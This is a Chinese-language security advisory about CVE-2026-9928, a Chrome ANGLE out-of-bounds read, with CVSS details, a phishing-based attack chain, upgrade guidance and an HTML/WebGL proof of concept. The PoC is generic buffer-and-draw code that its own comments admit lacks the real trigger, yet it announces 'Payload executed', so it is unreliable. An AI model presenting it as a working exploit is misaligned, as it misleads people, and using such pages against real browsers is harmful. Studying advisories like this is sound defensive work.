IPBUF安全漏洞报告
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CVE-2026-9928 CVSS 8.8 高危

CVE-2026-9928 Chrome ANGLE越界读取致代码执行漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9928
漏洞类型
越界读取
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

RCE远程代码执行ChromeANGLE越界读取WebGL高危漏洞

漏洞概述

CVE-2026-9928是Google Chrome浏览器中存在的一个高危安全漏洞。该漏洞源于Windows平台上的ANGLE组件在处理特定图形数据时存在越界读取错误。攻击者可以通过诱导受害者访问精心构造的恶意HTML页面来触发此漏洞。成功利用该漏洞可能导致远程攻击者在目标系统上执行任意代码,从而完全控制受影响的计算机。建议用户尽快更新至最新版本以避免潜在风险。

技术细节

该漏洞位于Google Chrome的ANGLE(Almost Native Graphics Layer Engine)组件中。ANGLE主要用于将OpenGL ES调用转换为Windows上的DirectX。由于ANGLE在解析WebGL或图形渲染指令时未能正确验证内存边界,导致发生越界读取。尽管越界读取通常会导致信息泄露,但在特定的内存布局下,攻击者可以通过精心构造的着色器或图形指令,将此漏洞转化为更为严重的内存破坏。当用户访问包含恶意WebGL代码的HTML页面时,Chrome的GPU进程在处理这些指令时会触发异常。若结合沙箱逃逸技术,攻击者可利用此漏洞在受害者系统上执行任意代码。

攻击链分析

STEP 1
侦察
攻击者确定目标用户正在使用Windows系统上易受攻击版本的Google Chrome浏览器。
STEP 2
投递
攻击者制作包含恶意WebGL代码的HTML页面,并通过钓鱼邮件或恶意链接诱导受害者访问。
STEP 3
利用
受害者打开链接,Chrome浏览器尝试渲染页面内容,调用ANGLE组件处理图形指令,触发越界读取漏洞。
STEP 4
执行
漏洞利用成功,攻击者绕过浏览器安全机制,在GPU进程或主进程中执行任意代码。
STEP 5
载荷
执行任意代码,可能包括植入后门、窃取数据或进一步横向移动。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-9928: ANGLE Out of bounds read --> <!-- This PoC demonstrates triggering the vulnerability via WebGL context --> <!DOCTYPE html> <html> <head> <title>CVE-2026-9928 PoC</title> </head> <body> <h3>CVE-2026-9928 Chrome ANGLE PoC</h3> <canvas id="glCanvas" width="640" height="480"></canvas> <script> // Get WebGL context to interact with ANGLE const canvas = document.getElementById('glCanvas'); const gl = canvas.getContext('webgl2'); if (gl) { console.log("WebGL2 context created. Attempting to trigger OOB read in ANGLE."); // Simulate the specific condition causing the Out of Bounds Read // Actual exploit requires precise shader manipulation or buffer overflow const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); try { // Malformed data intended to hit the vulnerable code path in Chrome < 148.0.7778.216 const malformedData = new Float32Array(0x1000); gl.bufferData(gl.ARRAY_BUFFER, malformedData, gl.STATIC_DRAW); // Trigger a draw call that may cause the OOB read gl.vertexAttribPointer(0, 3, gl.FLOAT, false, 0, 0); gl.enableVertexAttribArray(0); gl.drawArrays(gl.TRIANGLES, 0, 3); alert("Payload executed. Check for crashes in GPU process."); } catch (e) { console.error("Exception caught: " + e); } } else { alert("WebGL2 is not supported in this browser."); } </script> </body> </html>

影响范围

Google Chrome < 148.0.7778.216 (Windows)

防御指南

临时缓解措施
建议用户立即检查Chrome浏览器版本,并通过官方渠道升级至148.0.7778.216或更高版本。在未完成升级前,应避免点击来源不明的链接或访问不可信的网站,并确保浏览器沙箱机制处于开启状态,以降低被利用的风险。

参考链接

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